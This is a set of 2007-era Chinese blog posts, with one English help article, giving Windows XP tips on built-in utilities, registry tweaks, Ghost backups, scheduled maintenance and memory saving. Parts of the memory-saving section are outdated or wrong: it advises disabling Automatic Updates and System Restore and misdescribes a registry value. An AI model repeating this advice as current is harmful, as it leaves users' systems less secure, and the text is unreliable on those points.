　　16、屏幕键盘——Osk(system32文件夹下)

　　屏幕键盘是一种实用工具，它在屏幕上显示虚拟键盘，允许那些有移动障碍的用户用指针设备或游戏杆输入数据。屏幕键盘旨在为存在移动障碍的用户提供最低级别的功能。这对于不知道如何键入的用户也很有用。它还可以用于最基本的cai键盘教学。

　　17、对象包装程序——Packager(system32文件夹下)

　　通过对象包装程序我们可以打开一个文件，并引入其中的图标，将它们插入到一般windows程序中使用，可用于制作计算机类教学课件或文档。

　　18、注册表编辑器增强版——Regedit32(system32文件夹下)

　　注册表编辑器是用来更改系统注册表设置的高级工具。注册表中包含了有关计算机如何运行的信息。在windows xp中有一个名为regedit的程序，可编辑注册表，但此程序却是它的增强版本，除可编辑注册表外，还可设置权限、清除重复项、删除已被卸载或删除的程序项等高级xx作。

　　19、Activex注册和反注册工具——Regsvr32

　　使用过activex的人都知道，activex不注册是不能够被系统识别和使用的，一般安装程序都会自动地把它所使用的activex控件注册，但如果你拿到的一个控件需要手动注册怎么办呢？如果修改注册表那就太麻烦了，在windows的system文件夹下有一个regsvr32.exe的程序，它就是windows自带的activex注册和反注册工具。它的用法为：

　　“regsvr32 [/s] [/n] [/i(:cmdline)] dllname”。其中dllname为activex控件文件名，建议在安装前拷贝到system文件夹下。

　　参数有如下意义：

　　/u——反注册控件

　　/s——不管注册成功与否，均不显示提示框

　　/c——控制台输出

　　/i——跳过控件的选项进行安装(与注册不同)

　　/n——不注册控件，此选项必须与/i选项一起使用

　　如笔者要注册一amovie.ocx控件，则打入regsvr32 amovie.ocx即可，要反注册它时只需使用regsvr32 /u amovie.ocx就行了。

　　20、动态链接库函数启动器——Rundll32

　　在windows中使用了许多动态链接库，这样就使得所有windows程序都可共享这些动态链接库中的函数。一般情况下，许多应用程序都通过windows api来xx作这些函数，但归根结底是通过windows文件夹下的rundll32.exe程序来启动相应的函数。它的用法是：“rundll32.exe动态链接库名,函数名,参数名”。如笔者需要实现一键关机，则在桌面上建立一快捷方式，命令行为“rundll32.exe user.exe,exitwindows”，并设置其快捷键为f4即可。再如，笔者要打开控制面板，则只需要输入命令“rundll32.exe shell32.dll,control_rundll”即可，要打开桌面属性，只需要使用“rundll32.exe shell32.dll,control_rundll desk.cpl”，其余的以此类推。

　　21、系统文件检查器——Sfc(system32文件夹下)

　　使用windows难免不会出现系统文件损坏或丢失的毛病，而如果为了几个小小的文件就去重装系统，又显得稍微麻烦了一些。通过系统文件检查器sfc.exe，一切都会变得非常简单。

　　22、共享文件夹设置工具——Shrpubw(system32文件夹下)

　　同一工作组的同事在一起工作，有时必须与同事们共享文件夹，这时我们可以利用此工具轻松搞定。它的作用与右击一文件夹，选择“共享”基本上等价。

　　23、Microsoft签字验证工具——Sigverif(system32文件夹下)

　　所谓“签署的文件”，就是被授予microsoft数字签署的文件。该签署表明，该文件是原始文件的一模一样的副本。通过microsoft签字验证工具，我们可在计算机上查找已签署和未签署的文件，也可查看签署文件的身份验证，以确认该文件还没有被篡改。使用起来非常方便，和查找窗口几乎没有什么不同，只要给出搜索范围，就可搜索出指定范围内的已签署文件和未签署文件。

　　24、音量控制程序——Sndvol32

　　我们在windows任务栏上可见到一个可爱的小喇叭，当我们双击它时就会弹出音量控制面板，其实这时我们就是启动了一个windows文件夹下的sndvol32.exe文件。不信，请你进入windows文件夹，再打开sndvol32.exe文件看看，熟悉的“音量控制”面板是否已经在你眼前了？另外还要告诉大家，它还有一个隐藏的参数“/r”，利用此参数可快速地打开录音控制面板，这样我们只要在桌面上建立一指向c:＼windows＼sndvol32.exe的快捷方式，并令它的参数为/r(即在目标中填入“c:＼windows＼sndvol32.exe /r”)，就可以快速打开录音控制面板选择输入设备了。如果设备过多，在面板上容纳不下时，试着按“ctrl+s”键，不管有多少设备都能够完全显示。

　　25、任务管理器——Taskmgr(system32文件夹下)

　　任务管理器提供正在你的计算机上运行的程序和进程的相关信息，使用任务管理器可快速查看正在运行的程序的状态，或终止已停止响应的程序。也可使用多达15个的参数评估正在运行的进程的活动，以及查看cpu和内存使用情况的图形和数据。当计算机发生锁死时使用它最方便和有效。

　　26、远程连接程序——Telnet(system32文件夹下)

　　在internet上有无数的计算机，而要访问它们都必须通过建立远程连接才行，进行两个计算机的远程连接可用专门软件实现，但通过windows自带的远程连接程序telnet.exe也能完成这一xx作，而且它还是纯中文界面软件。

　　27、远程FTP工具——Tftp(system32文件夹下)

　　ftp是一个网络传输的协议，通过这个程序可非常方便地连接到对方的服务器上进行文件的存取xx作，省得再找如第三方的ftp软件了，可惜的是它是字符界面。

　　28、Windows升级程序——Wupdmgr(system32文件夹下)

　　安装完windows后，在开始菜单的上方会有windows update菜单项，通过它能自动登录到microsoft公司的网站上完成自己windows的升级工作。但时间一长，可能会把这个快捷方式误删除了，这时我们就可以通过打开windows下的wupdmgr.exe文件来完成这个功能。

　　Windows xp实为一个功能强大的操作系统，但只有充分地发挥其内置功能，才能更好地使用它。这也符合“基础的未必是最坏的，回到基础还是好的”的道理。

另类技巧：原来WindowsXP可以这样重启

2007-01-28T17:54:00.000+08:00

当您的计算机死机、停止响应等，您不得不用“Reset”或“Ctrl+Alt+Del”重新启动来解决问题，如果您觉得这样还很麻烦的话，可以考虑用下面的方法来让计算机自动重启。

　　1.系统死锁时自动重启

　　单击“开始→运行”，键入“REGEDIT”并回车，打开注册表编辑器，找到并展开[HKEY_LOCAL_MACHINE\System\CurrentControlSet \CrashControl ]分支，在右侧窗口中找到“AutoReboot”(如果没有，我们可以新建一个)键，将其值修改为“1”。退出注册表编辑器并重新启动一次计算机，以后系统死机时就会自动重启。

　　2.“资源管理器”崩溃时自动重启

　　我们还可以在“资源管理器”崩溃(桌面图标、任务栏无法显示，鼠标消失，不能使用Alt+Tab组合键切换窗口等等)时，让计算机自动重启。

　　打开注册表编辑器，依次展开[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon ]分支，在右侧窗口找到“AutoRestartShell”(如果没有，我们可以新建一个)键，将其值修改为“1”。重新启动计算机设置即生效。

用Ghost备份Windows XP的几点建议

2007-01-28T17:48:00.000+08:00

微软的Windows XP内置了很强大的多媒体和外设支持功能，界面极其美观，但同时体积庞大、安装时间很长，如果因使用不当而崩溃，再次恢复或安装的时间都会很长。所以要做好XP的备份，虽然微软已经在XP中提供了还原功能，但这种还原需要XP的图形界面，同时占用大量空间、频繁的磁盘读写影响系统速度。

　　此外即使是安全模式，也属于图形界面的一种，如果XP被破坏得太厉害而导致无法进入GUI，还原功能就无用武之地了。所以，建议你保留一个兼容MS-DOS的Windows 9X，用GHOST的方式备份XP，即构成多操作系统，以便在Windows XP出现严重故障时，用这个GHOST备份来作紧急补救。GHOST的用法我不多说了，但前期的准备比较有讲究，如果做得不好，一是备份时间可能很长，二是效果也不好。下面就把备份时的注意事项说一下。

　　一、转移或删除页面文件

　　首先，应该把页面文件转移到安装XP以外的其他分区，或在DOS状态下删除该页面文件Pagefile.sys，因为这个文件默认设置是你物理内存的1.5倍，占用极大的磁盘空间，如果不删除会影响下面的准备工作，也会导致备份压缩的时间加长近一倍。

　　二、关闭休眠和系统还原

　　XP的休眠功能和系统还原也和页面文件一样，占用很大的空间。休眠功能要求你的分区有和物理内存相当的空间，而且不能指定存放分区，所以非关闭不可。你可以在备份结束后再次打开这些功能。

　　三、删除暂时不需要的字库、临时文件等

　　如果你是一个经常调用TureType字库做艺术字的用户，可能在XP的目录里装了大量的字体文件，这些字体多起来可能达到数百兆，却不是运行XP所必须的，建议删除它们，等备份结束后再重装，反正就是拷贝一下而已。否则GHOST的时间会很长，特别是选了GHOST的压缩方式后，因为字库本身很庞大，压缩的余地又很小，耗费时间就太长了。另外还要删除IE的临时文件，要清空回收站文件等，否则又是白白浪费储存空间和时间。

　　四、扫描磁盘和整理磁盘碎片

　　XP在用GHOST备份前一定要扫描磁盘，保证该分区上没有交叉链接和文件碎片。即使你是用多操作系统，而且上次由于死机而产生的碎片或其他磁盘错误并不是在XP里发生的，比如是Windows 98软关机死机后，你强行重新启动造成的磁盘错误，XP在启动时也能检测到。然后XP就会询问你是否要进行磁盘扫描，还不只是扫描Windows 98所在的分区，每个分区扫描前又默认等待十多秒让用户选择是否取消，这样严重影响了XP的启动速度。所以，用GHOST备份前一定要先扫描消除分区上的错误，免得备份一个状态不良的XP。

　　做好磁盘碎片整理再备份的好处不用我多说了，这里提个醒即可。

　　五、注册好MSN、杀毒软件等

　　由于XP自带MSN浏览器和Win Messenger，这两个软件都放在安装XP的同一分区，且其路径在XP中一般用户较难找到另外转移，你重装后每次都需要再联网输入用户名、邮件地址和密码重新注册;另外如金山毒霸2001等软件，如果重装XP也要重新注册或输入序列号，所以建议你先注册好，再用GHOST备份，恢复后就免去很多操作上的麻烦。另外，还有邮件规则、桌面设置等，先设好再备份就一劳永逸了，其余还有什么工具软件要注册后再GHOST，该你自己仔细想想了哦。

　　对了，最后提醒你，用GHOST备份要求你使用FAT32的磁盘格式，NTFS就得另外想办法了。

保证系统正常的情况下如何卸载Win XP SP2

2007-01-28T17:46:00.000+08:00

WindowsXP ServicePack2的发布引来无数人的关注，许多人也迫不及待的下载安装，然而SP2的众多新功能和许多改进也许并不会和你机器中原有的硬件或者应用程序很好的兼容，相信这也为许多人带来了麻烦。如果为此重装系统那真是得不偿失。许多人一定很关心如何能在保证系统正常运行的情况下卸载SP2。

　　目前看来，有如下几种方法，不妨一试：

　　1.使用控制面板中的添加删除程序

　　2.使用隐藏的NtServicePackUninstall文件夹

　　3.使用系统还原功能

　　4.使用系统恢复控制台

　　具体的方法在下面微软知识库的链接中，大家可以自己研究。

　　地址：http://support.microsoft.com/default.aspx?scid=kb;en-us;875350&Product=winxp

教你上网前保证Windows XP安全的办法

2007-01-28T17:45:00.000+08:00

当您安装新的 Windows XP Home、Professional 计算机时，需要确保系统安装了最新的更新软件和安全软件，以便在连接至 Internet 之前防御病毒和其它潜在威胁。连接至 Internet 后，定期更新操作系统和防病毒软件也同样重要。

　　下面这些步骤可帮助您以最新可用的 Windows XP 安全工具来设置新计算机。

　　第1步：正确安装系统补丁

　　安装完Windows XP后，我们接着马上需要进行Windows XP SP2的安装(硬盘剩余空间最好不要小于1.6GB)，该补丁是2004年7月前发现的Windows XP系统安全漏洞的总包。

　　第2步：验证防火墙

　　安装完Windows XP SP2后，应该已安装了 Windows 防火墙(XP SP防火墙的设置见随后的教程)。

　　要验证计算机是否安装了 SP2，单击“开始”、“我的电脑”，然后单击“查看系统信息”以弹出“系统属性”窗口。此信息列在“系统：”标题下。“系统属性”窗口

　　第3步：获取软件更新

　　·激活 Windows 自动更新。

　　·插入调制解调器或网线以访问 Internet，然后启动“网络连接向导”。

　　·连接后，让 Windows Update 安装最新的安全更新和软件更新。

　　一旦完成了所有更新且设定设置，您就可以在 Internet 冲浪了!只是要记住，勤于了解计算机安全技术很重要，因此，请定期运行 Windows Update，检查最新的下载和产品更新，保持启用自动更新并了解最新的安全威胁。同时多学习网络安全防范知识。

让Windows XP自动维护系统

2007-01-28T17:44:00.000+08:00

Windows XP的日常维护是件既耗时又无聊的事情，如果Windows XP能够聪明一点，进行自动维护就好了。下面，就为大家介绍一种通过.inf文件让Windows XP进行自动维护的技巧，自动维护的具体内容可以任意设定，不过需要命令来实现。比如用Xcopy进行文件备份、Defrag进行磁盘碎片整理、Del删除垃圾文件等等。为了讲清楚原理，下面以Defrag为例，你可以根据自己的需要进行修改。

　　实现步骤

　　1. 建立Main.bat文件

　　以管理员身份登录Windows XP，在系统盘的根目录下新建一个名为Main.bat的文件(文件名可以随便取，下同)并输入如下内容:

　　cd

　　C:

　　cd Windowssystem32

　　defrag C: /f

　　chkntfs C:

　　2. 建立Main.inf文件

　　新建一个文件名为Main.inf的文件并输入:

　　[version]

　　Signature= "$CHICAGO$"

　　AdvancedINF= 2.5,"advpack.dll"

　　[DefaultInstall]

　　RunPreSetupCommands=Tst.PreSetup

　　RunPostSetupCommands=Tst.PostSetup

　　[Tst.PreSetup]

　　C:Main.bat

　　[Tst.PostSetup]

　　C:WINDOWSSYSTEM32TSSHUTDN.EXE 0 /DELAY:0 /POWERDOWN

　　在这个文件中，Signature必须设置为”$CHICAGO$”，否则文件将无法起作用。

　　3. 建立Begin.bat文件

　　在C盘根目录下建立批处理文件Begin.bat，向这个文件中输入:

　　C:WINDOWSSystem32 undll32.exe advpack.dll,LaunchINFSectionEx

　　C:Main.inf,DefaultInstall,,32

　　这个命令的作用是让Windows XP启动一个硬件安装过程，从而执行.inf文件中的指令。Rundll32.exe在Windows中被用来调用DLL文件(动态链接库)中函数提供的功能。比如这里的rundll32.exe就调用了advpack.dll中的LaunchINFSectionEx函数，这个函数的作用就是启动一个.inf安装过程。不过Main.inf的内容已经和硬件安装无关，而是被偷梁换柱改成了系统自动维护的命令。

　　4. 计划任务

　　计划任务的作用是定期执行Begin.bat文件，实现步骤如下:

　　(1)打开Windows XP的开始菜单进入“程序→附件→系统工具→计划任务”，双击“添加计划任务”，单击“浏览”，找到C盘根目录下面的Begin.bat文件，然后单击“下一步”按钮;

　　(2)设置任务执行周期为“每周”，然后单击“下一步”按钮;

　　(3)设置执行计划任务的密码，也就是计算机的管理员密码，然后单击“下一步”按钮;

　　(4)设置执行任务的具体日期和时间。

　　在以上例子中，笔者让这个计划任务每周日的23:30执行一次文件C:Begin.bat，进行自动维护。

　　实现原理

　　.inf文件通常用于硬件安装，其实是一个文本文件。当用户在文件上单击鼠标右键选择“安装”的时候，Windows将会根据这个文件的内容执行一系列操作，上面介绍的自动维护方法就是借助.inf文件的这个特点实现的。

　　建立的计划任务启动时，它会调用Begin.bat。Begin.bat将使用Main.inf作为配置文件启动一个安装过程，按照Main.inf中的内容执行一系列操作。

　　Main.inf启动时会首先执行[Tst.PreSetup]段中的语句，也就是“C:Main.bat”，Main.bat被调用时，Windows将对C:进行磁盘碎片整理工作。Main.bat的内容越丰富，自动维护的功能就越强大。

　　Main.bat中的命令都执行完毕后，[Trs.PostSetup]中的语句又将被执行，也就是:

　　C:WINDOWSSYSTEM32TSSHUTDN.EXE 0 /DELAY:0 /POWERDOWN

　　这个语句的作用是关闭计算机，其实是“关闭Windows XP+关闭电源”。

　　最后要注意的一点，这个方法只能在Windows XP Professionl中实现，Windows XP Home无法使用。

Win XP中用组策略移除开始菜单用户名

2007-01-28T17:35:00.000+08:00

在Windows XP专业版中，如果使用默认的开始菜单样式，那么在开始菜单的上方会显示出当前登录到Windows的用户名称，当多人共用一台电脑时，这一功能可以让我们很容易地判断出现在是以谁的身份登录的。不过，如果这台电脑只有你自己在使用，那么在开始菜单顶部显示用户名便显得多此一举，这时我们可以使用组策略控制台来轻松移除开始菜单用户名。

　　下面介绍具体操作方法。

　　1.单击“开始|运行”，在“运行”对话中输入“Gpedit.msc”，如图1所示，然后单击“确定”按钮。

图1

2.在“组策略”控制台中，选择左边的“用户配置|管理模板|任务栏和[开始]菜单”，然后双击右侧的“从[开始]菜单中删除用户名”，如图2所示。

图2

3.在“从[开始]菜单中删除用户名属性”对话框中，选中单选钮“已启用”，如图3所示。

图3

4.单击“确定”按钮后，打开“开始”菜单观察一下，发现用户名已经不再显示了，如图4所示。

图4

　　注意：以上所介绍的技巧也适用于Windows Server 2003家族，以及Windows XP Media Center Edition，写作此文时，在XP Media Center Edition中试验成功。

Windows XP操作系统中如何节约内存

2007-01-28T17:22:00.000+08:00

现在我们已经进行了大内存时代，很多的人都把自己的内存升级到了1G以上。但现在很多软件随着功能的加强，对系统资源的占有率也是越来越高，变化之快让我们应接不暇。这个时候应该怎么办呢?下面我们就给大家讲讲Windows XP操作系统中如何更好的节约内存，让每一份资源都能得到合理的利用。

　　下面我们就一起来看看，我们都可以通过那些设置来达到节约内存的目的。

　　优化内存数据

　　在Windows中，驻留内存中的数据越多，就越要占用内存资源。所以，桌面上和任务栏中的快捷图标不要设置得太多。如果内存资源较为紧张，可以考虑尽量少用各种后台驻留的程序。平时在操作电脑时，不要打开太多的文件或窗口。长时间地使用计算机后，如果没有重新启动计算机，内存中的数据排列就有可能因为比较混乱，从而导致系统性能的下降。这时你就要考虑重新启动计算机。

　　启用磁盘写入缓存

　　在“我的电脑”上单击鼠标右键选择“属性->硬件”，打开设备管理器找到当前正在使用的硬盘，单击鼠标右键选择属性。在硬盘属性的的“策略”页中，打开“启用磁盘上的写入缓存”(如图1)。

图 1

这个选项将会激活硬盘的写入缓存，从而提高硬盘的读写速度。不过要注意一点，这个功能打开后，如果计算机突然断电可能会导致无法挽回的数据丢失。因此最好在有UPS的情况下再打开这个功能。当然，如果你平常使用计算机时不要进行什么重要的数据处理工作，没有UPS也无所谓，这个功能不会对系统造成太大的损失。

　　关闭不需要的服务

　　如果你的家里没有打印机，你可以将“Printer Spooler”服务关闭掉。如果你没有定期执行的任务，将“Task Scheduler”服务关闭掉。对于大多人而言，“Remote Registry”同样没有用，也可以关闭掉。下面是经过上面所有优化后的服务列表，我将优化过的地方用红颜色的圆圈标记了出来。

　　打开Ultra MDA

　　在设备管理其中选择IDE ATA/ATAPI控制器中的“基本/次要IDE控制器”，单击鼠标右键选择“属性”，打开“高级设置”页。这里最重要的设置项目就是“传输模式”，一般应当选择“DMA(若可用)”。

　　监视内存

　　系统的内存不管有多大，总是会用完的。虽然有虚拟内存，但由于硬盘的读写速度无法与内存的速度相比，所以在使用内存时，就要时刻监视内存的使用情况。Windows操作系统中提供了一个系统监视器，可以监视内存的使用情况。一般如果只有60%的内存资源可用，这时你就要注意调整内存了，不然就会严重影响电脑的运行速度和系统性能。

　　配置恢复选项

　　Windows XP 运行过程中碰到致命错误时会将内存的快照保存为一个文件，以便进行系统调试时使用，对于大多数普通用户而言，这个文件是没有什么用处的，反而会影响虚拟内存的性能。所以应当将其关闭。

　　在“我的电脑”上单击鼠标右键，选择“属性->高级”，在“性能”下面单击“设置”按钮，在“性能选项”中选择“高级”页。这里有一个“内存使用”选项，如果将其设置为“系统缓存”(如图2)，Windows XP 将使用约4MB的物理内存作为读写硬盘的缓存，这样就可以大大提高物理内存和虚拟内存之间的数据交换速度。默认情况下，这个选项是关闭的，如果计算机的物理内存比较充足，比如256M或者更多，最好打开这个选项。但是如果物理内存比较紧张，还是应当保留默认的选项。

图 2

设置页面文件

　　现在回到“虚拟内存”的设置对话框中选择自定义大小并按照上面的计算结果分别设置“初始大小”和“最大值”。这里我们将“初始大小”设置为91M，而将“最大值”设置成了200M，这样比较保险。

　　改变页面文件的位置

　　其目的主要是为了保持虚拟内存的连续性。因为硬盘读取数据是靠磁头在磁性物质上读取，页面文件放在磁盘上的不同区域，磁头就要跳来跳去，自然不利于提高效率。而且系统盘文件众多，虚拟内存肯定不连续，因此要将其放到其他盘上。改变页面文件位置的方法是：用鼠标右键点击“我的电脑”，选择“属性→高级→性能设置→高级→更改虚拟内存”，在驱动器栏里选择想要改变到的位置即可。值得注意的是，当移动好页面文件后，要将原来的文件删除(系统不会自动删除)。

　　改变页面文件的大小

　　改变了页面文件的位置后，我们还可以对它的大小进行一些调整。调整时我们需要注意，不要将最大、最小页面文件设为等值。因为通常内存不会真正“塞满”，它会在内存储量到达一定程度时，自动将一部分暂时不用的数据放到硬盘中。最小页面文件越大，所占比例就低，执行的速度也就越慢。最大页面文件是极限值，有时打开很多程序，内存和最小页面文件都已“塞满”，就会自动溢出到最大页面文件。所以将两者设为等值是不合理的。一般情况下，最小页面文件设得小些，这样能在内存中尽可能存储更多数据，效率就越高。最大页面文件设得大些，以免出现“满员”的情况。

　　对页面文件进行碎片整理

　　文件数据保存在硬盘上久了，文件碎片(fragment)自然会产生。要保持或提高硬盘的工作效率，我们应不时为硬盘进行一次碎片整理。所谓虚拟内存，其实也是硬盘上的资料文件，那么虚拟内存是否也应该像普通文件般需要整理呢?

　　Windows系统处理页面文件(即虚拟内存)的方法有别于一般的文件。相比之下，页面文件比一般文件更少出现碎片，为页面文件进行整理通常是没有必要的。事实上，当Windows XP进行磁盘碎片整理时，页面文件不会牵涉其中。

　　虽然Windows不会对页面文件进行整理，但事实上页面文件也有碎片存在。追求“尽善尽美”的朋友可能仍想对页面文件进行碎片整理。大家不妨试试下面的方法：

　　在桌面“我的电脑”图标上单击鼠标右键，在随后出现的功能菜单中选“属性”。进入系统属性的设置窗口，用鼠标点选“高级”-->“性能”-->“设置”-->“高级”-->“更改”，在随后出现的“虚拟内存”设置窗口中选中“无分页文件”一项。最后单击“设置”按钮退出，并重新启动电脑。

　　禁用页面文件

　　当拥有了512MB以上的内存时，页面文件的作用将不再明显，因此我们可以将其禁用。方法是：依次进入注册表编辑器“HKEY_LOCAL_MACHINESystemCurrentControlSetControlSession Ma-nagerMemoryManagement”下，在“DisablePa-ging Executive”(禁用页面文件)选项中将其值设为“1”即可。

　　清空页面文件

　　在同一位置上有一个“ClearPageFileAtShutdown(关机时清除页面文件)”，将该值设为“1”。这里所说的“清除”页面文件并非是指从硬盘上完全删除pagefile.sys文件，而是对其进行“清洗”和整理，从而为下次启动Windows XP时更好地利用虚拟内存做好准备。

　　调整高速缓存区域大小

　　可以在“计算机的主要用途”选项卡中设置系统利用高速缓存的比例。如果系统的内存较多，可选择“网络服务器”，这样系统将用较多的内存作为高速缓存。在CD-ROM标签中，可以直接调节系统用多少内存作为CD-ROM光盘读写的高速缓存。

　　系统主题的影响

　　说起占用系统资源我们就不得不提一下系统主题了，漂亮的系统主题虽然能给我们的视窗带来视觉上的享受，但是同时也在大量的消耗我们的系统资源，下面给大家介绍如何让Windows主题不占用太多资源的方法：

　　我们可以把****.tsk桌面主题文件拷贝到你的存储卡根目录，建一个My Documents文件夹这样做即不占内存资源有可以在“今日主题”里切换，同时也方便管理。

　　释放内存空间

　　如果你发现系统的内存不多了，就要注意释放内存。所谓释放内存，就是将驻留在内存中的数据从内存中释放出来。释放内存最简单有效的方法，就是重新启动计算机。另外，就是关闭暂时不用的程序。还有要注意剪贴板中如果存储了图像资料，是要占用大量内存空间的。这时只要剪贴几个字，就可以把内存中剪贴板上原有的图片冲掉，从而将它所占用的大量的内存释放出来。

　　提高系统其他部件性能

　　计算机其他部件的性能对内存的使用也有较大的影响，如总线类型、CPU、硬盘和显存等。如果显存太小，而显示的数据量很大，再多的内存也是不可能提高其运行速度和系统效率的。如果硬盘的速度太慢，则会严重影响整个系统的工作。

　　关闭“自动更新”

　　，“自动更新”是Windows XP为了方便用户升级系统而推出的一种新功能，这种功能可以在微软推出系统升级补丁或系统安全补丁的时候，自动提醒用户升级自己的系统，如果你没有设置这个系统有个很烦的就是经常自己就开始在那下载升级包了，浪费我们的系统资源也占用了我们的网络带宽。所以我们把“自动升级”功能关闭掉，改为“手动升级”。

　　具体操作为：右键单击“我的电脑”，点击属性，点击“自动更新”，在“通知设置”一栏选择“关闭自动更新。我将手动更新计算机”一项。

　　关闭“系统还原”

　　系统还原功能是微软的一个很富有想象力的创意，不过微软没有能够很好的实现这种创意，所以做出来的系统还原功能只能使食之无味，弃之可惜的鸡肋之作。对用户来说，没什么太大作用，所以我们决定要关闭它以节约内存。具体操作为：右键单击“我的电脑”，点击属性，会弹出来系统属性对话框，点击“系统还原”，在“在所有驱动器上关闭系统还原”选项上打勾。

　　关闭“远程桌面”功能

　　这个功能似曾相识，因为Windows 2000 Server就有一个Terminal Service来做同样的事情，我们可以从中发现微软的策略，在Windows 2000的时代，只有服务器版本的Windows 2000才带这个功能，而且名字也十分的专业，叫做终端服务，恐怕一般的用户不知道这个功能是干什么的。到了Windows XP，这个功能也被加到了Windows XP Home 和 Professional版本里来了，而且改了名字叫做“远程桌面”。顾名思义，这个功能就是让你可以让别人在另一台机器上访问你的桌面。可以说，在一个网络环境中，比如单位的局域网，这个功能很有用。比如你有问题了可以向同事求助，他可以不用到你的跟前，直接通过“远程桌面”来访问你的机器帮你解决问题。但是在家里面，通常只有一台计算机，这个功能就显得多余了，所以微软又赋予了它新的功能叫做“快速用户切换”，就是你可以不用注销你的用户让另一个人以其他用户的身份注册来使用你的计算机。我个人怀疑它的实用价值，大多数人使用计算机都没有用户的概念，计算机用就用呗，还分什么用户。所以我的意见还是关掉它，否则你不用它就等于白白浪费内存。

　　关闭“自动发送错误”功能

　　大家在Window XP 中肯定有这样的经历，一旦一个程序异常终止，系统就会自动跳出一个对话框问你是否将错误发送给微软，这就是XP中的“自动发送错误”功能，对我们而言没有任何用处，那又何必让它占用着你的内存呢?所以我们应该义无反顾的把这项功能关掉。右键单击“我的电脑”，点击属性，点击“高级”→“错误汇报”，选择“禁用错误汇报”功能(如图3)。

图 3

关闭不需要的特效

　　Windows XP的操用界面的确是很好看，好看的背后是以消耗大量内存作为代价的，相对于速度和美观而言，我们还是宁愿选择前者，右键单击“我的电脑”，点击属性，点击“高级”，在“性能”一栏中，点击“设置”，点击“视觉效果”，在这里把所有特殊的外观设置都关闭掉，我们就可以省下“一大笔”内存。

　　关闭“Internet时间同步”

　　“Internet时间同步”，就是使你的计算机时钟每周和 Internet 时间服务器进行一次同步，这样你的系统时间就会是精确的，不过这个功能对我们来说用处不大，而且还可能引起死机的问题。所以我们要把它关掉。

　　具体操作是：依次单击“开始”→“控制面板”→“日期、时间、语言和区域选项”，然后单击“日期和时间”→“Internet时间”。

　　关闭多余的服务

　　Windows XP和Windows 2000一样可以作为诸如http服务器、邮件服务器、ftp服务器，所以每当Windows XP启动时，随之也启动了许多服务，有很多服务对于我们这些普通用户来说是完全没用的，所以关掉它们是一个很好的选择。

　　清除剪贴板的内容

　　剪贴板是内存中一块临时存储区，用来存放各应用软件剪切或复制的信息。如果当时剪贴板中存放的是一幅图像或一段相当篇幅的文本，则占用了相当大的内存，这就可能导致内存不足，所以只要消除剪贴板中的图像或文本，就可能解决内存不足的问题。要清除剪贴板的内容，请依次单击“开始”、“程序”、“附件”、“剪贴板查看程序”，打开“剪贴板查看程序”窗口，然后单击"编辑"菜单的“删除”命令，最后单击“是”按钮。你也许觉得这样有些麻烦，那你不妨以极少的内容，比如一个空格，取代剪贴板中的图像或文本。例如，你正在使用Word编辑文档，你可以选中文档中的一个空格，再单击常用工具栏上的"剪贴"按钮，由这一空格就取代了剪贴板中的原有图像或文本，这也可以节约内存。

　　关闭不需用的窗口

　　你打开了多个窗口，其实也就是运动了多个程序，耗用的内存就多。这时，你可以关闭暂时不用的窗口，关闭不用的程序功能(如状态栏、标尺、任务栏等)就可达到节省内存的目的。

　　保留硬盘空间作为额外内存

　　右键单击桌面上的“我的电脑”图标，再左键单击“属性”，打开“系统属性”对话框。在此对话框中单击“性能”标签，再单击“虚拟内存”按钮，复选让“系统管理的大小”(如图4)，最后单击“确定”按钮。

图 4

让Windows别乱加载程序

　　首先查看Windows启动时自动加载了哪些程序，方法是单击“开始”按钮，指向"程序"，再指向"启动"，此时列出的菜单即Windows启动时自动加载的程序。删除其中不必要的程序，重新启动电脑，也可以节约内存。具体删除方法是:

　　(1)启动"资源管理器"，找到C:WindowsStart MenuPrograms"启动"文件夹。

　　(2)选择不需Windows自动加载的程序和快捷方式，然后单击"文件"菜单的"删除"命令，系统弹出确认删除对话框。

　　(3)在确认删除对话框中单击"是"按钮。

　　查杀病毒

　　或许你的电脑只是感染了电脑病毒，内存不足是因为病毒在作怪，消除了病毒，也能解决内存不足的问题。方法当然就是用一款好的杀毒软件进行病毒查杀啦。

　　如何设置虚拟内存

　　1、所谓虚拟内存就是在你的物理内存不够用时把一部分硬盘空间所为内存来使用，不过由于硬盘传输的速度要比内存传输速度慢的多，所以使用虚拟内存比物理内存效率要慢。个人实际需要的值应该自己多次调整为好。设的太大会差生大量的碎片，严重影响系统速度，设的太小就不够用，于是系统就会提示你虚拟内存太小。

　　2、一般情况下，可让Windows来自动分配管理虚拟内存，它能根据实际内存的使用情况，动态调整虚拟内存的大小。

　　3、自定义虚拟内存，一般默认的虚拟内存大小是取一个范围值，最好给它一个固定值，这样就不容易产生磁盘碎片，具体数值根据你的物理内存大小来定，256MB物理内存，虚拟内存可设为768MB，或1024MB。

　　4、具体步骤如下：右键单击“我的电脑”→属性→高级→性能设置→高级→虚拟内存更改→选择虚拟内存(页面文件)存放的分区→自定义大小→确定最大值和最小值→设置→确定。

　　5、虚拟内存(页面文件)存放的分区，一定要有足够的空间，硬盘资源不足，造成虚拟内存不够用。

How do I password protect my files and folders in Windows?

2007-01-28T17:16:00.000+08:00

Microsoft Windows XP professional users

The below steps for encrypting the files on Windows XP professional applies to users who are using a computer that has different accounts. If you're using a single account for all users who use the computer you will need to see the below other security solutions section.

Select the folder you wish to encrypt.
Right-click the folder and click Properties.
Click the Advanced button.
Check "Encrypt contents to secure data" option.
Click Apply and then Ok.
Encrypt contents to secure data is grayed out

This will be grayed out if you're using the home edition of Microsoft Windows XP. See the below steps for securing the contents of your folders in Windows XP home.

Show "Encrypt" on the context menu

The newest version of TweakUI also enables you to show the Encrypt option in the context menu. To do this, follow the below steps.

Open TweakUI. If you do not have TweakUI you can find additional details about getting and installing TweakUI in document CH000141.
In the TweakUI window, select Explorer
In the right side of the window under Settings, locate "Show 'Encrypt' on context menu" and check the box. This option should be below "Prefix 'shortcut to' on new shortcuts" and above "Show 'View workgroup computers' in NetPlaces".
If you're missing this option, see document CH000711 for additional information.

Microsoft Windows XP home users

Select the folder you wish to encrypt.
Right-click the folder and click Properties.
Click the Sharing tab.
Check the box Make this folder private
Click Apply and then Ok.
Make this folder private is grayed out

In order for this option to work in Microsoft Windows XP home you must meet the below requirements.

The hard disk drive must be formatted in NTFS and not FAT32. Additional information about determining the type of file system your hard disk drive is running can be found on document CH000713.
The folder you're attempting to encrypt must be in your own personal folder. For example, if your name is bob, you must be encrypting a folder that is or that is contained within the below folder:

C:\Documents and Settings\Bob\

You cannot encrypt any folders outside of this folder. If you wish to encrypt outside this folder see the below other security solutions.
